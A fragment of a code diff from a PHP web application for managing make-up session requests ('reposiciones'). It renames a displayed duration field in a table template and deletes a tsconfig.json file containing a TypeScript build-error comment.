+                        <tr data-id="<?php echo $reposicion["solicitud_id"]; ?>" id="id<?php echo $reposicion["solicitud_id"]; ?>">
                             <td class="align-middle text-center" style="color:<?php echo $reposicion["estado_color"];?>" title="<?php echo $reposicion["estado_nombre"];?>">
                                 <?php if($reposicion["estado_reposicion_id"] < 3){ ?>
                                 <div class="wizard <?php if(intval($reposicion["estado_reposicion_id"])==2) echo "active";?> d-flex mx-auto">
@@ -224,7 +224,7 @@ if(!is_null($user->periodo_id)){
                                 ?>
                             </td>
                             <td class="align-middle text-center"><?php
-                                echo $reposicion["duracion_total"];
+                                echo $reposicion["duracion_interval"];
                                 ?>
                             </td>
                             <td class="align-middle text-center"><?php

+ 0 - 14
tsconfig.json

@@ -1,14 +0,0 @@
-{
-    "compilerOptions": {
-        "lib": [
-            "ESNext",
-            "dom"
-        ],
-        "outDir": "js",
-        "rootDir": "ts",
-        "target": "ES2022",
-        "moduleResolution": "node",
-        "module": "ESNext",
-        // ts/auditoría.ts:1:37 - error TS2307: Cannot find module 'https://unpkg.com/petite-vue?module' or its corresponding type declarations.
-    }
-}